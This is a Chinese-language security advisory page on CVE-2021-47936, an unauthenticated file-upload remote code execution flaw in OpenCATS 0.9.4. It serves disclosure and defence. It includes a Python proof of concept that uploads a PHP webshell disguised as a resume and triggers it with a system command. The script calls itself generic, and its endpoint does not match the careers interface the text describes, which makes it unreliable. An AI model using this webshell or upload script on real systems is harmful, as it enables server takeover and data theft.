IPBUF安全漏洞报告
English
CVE-2021-47936 CVSS 9.8 严重

CVE-2021-47936 OpenCATS远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47936
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenCATS

相关标签

远程代码执行RCEOpenCATS文件上传漏洞Web安全CVE-2021-47936

漏洞概述

OpenCATS 0.9.4版本中存在严重的远程代码执行漏洞。该漏洞允许未经身份验证的攻击者利用职业招聘申请接口,上传伪装成简历附件的恶意PHP文件。由于系统缺乏严格的上传校验,攻击者成功上传后,可直接访问并执行该文件,从而在服务器上执行任意系统命令,获取服务器控制权。由于无需用户交互且攻击成本低,该漏洞对系统安全构成极高威胁。

技术细节

该漏洞的核心原因在于OpenCATS 0.9.4在处理简历附件上传功能时,未能正确验证文件类型与内容。攻击者无需进行身份认证,即可直接访问职业招聘申请端点。通过构造特定的POST请求,攻击者可以将包含恶意PHP代码的文件(例如WebShell)伪装成合法的简历文档上传至服务器。由于系统未对上传文件的扩展名进行有效的白名单限制,该恶意文件会被保存在Web可访问的upload目录中。随后,攻击者只需发送HTTP请求访问该文件的路径,服务器端的解析引擎就会处理并执行其中的PHP代码。这使得攻击者能够以Web服务器的权限执行任意系统命令,从而窃取数据、篡改页面或进一步渗透内网。该漏洞的CVSS 3.1评分高达9.8,属于严重级别,且利用过程无需用户交互,危害极大。

攻击链分析

STEP 1
侦察与定位
攻击者识别出目标系统运行的是OpenCATS 0.9.4版本,并确认其可访问性。
STEP 2
恶意文件上传
攻击者利用职业申请接口,构造包含恶意PHP代码的文件(如WebShell),并将其伪装成简历附件发送给服务器。由于缺乏校验,文件被成功保存。
STEP 3
代码执行
攻击者通过浏览器或HTTP工具访问上传目录中的恶意PHP文件URL,服务器解析该文件并执行其中的系统命令,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2021-47936 import requests def exploit(target_url): # 1. Upload malicious PHP file as resume upload_endpoint = f"{target_url}/index.php?m=candidates&a=add" # PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" files = { 'file': ('evil_resume.php', php_payload, 'application/octet-stream') } # Sample data required by the form (may need adjustment based on version) data = { 'isAjax': '1', 'candidateID': '0' } print("[*] Attempting to upload malicious resume...") try: # Note: Actual endpoint parameters might vary, this is a generic PoC structure response = requests.post(upload_endpoint, files=files, data=data) if response.status_code == 200: print("[+] Upload request sent successfully.") # 2. Execute the uploaded file # Assuming the file is saved in the upload directory with the original name exec_url = f"{target_url}/upload/evil_resume.php?cmd=whoami" print(f"[*] Triggering payload at: {exec_url}") exec_response = requests.get(exec_url) if exec_response.status_code == 200: print("[+] Command execution output:") print(exec_response.text) else: print("[-] Failed to execute payload.") else: print(f"[-] Upload failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com/opencats" # Replace with actual target exploit(target)

影响范围

OpenCATS 0.9.4

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层面配置规则,禁止解析上传目录中的PHP脚本,并检查服务器上是否存在异常的PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表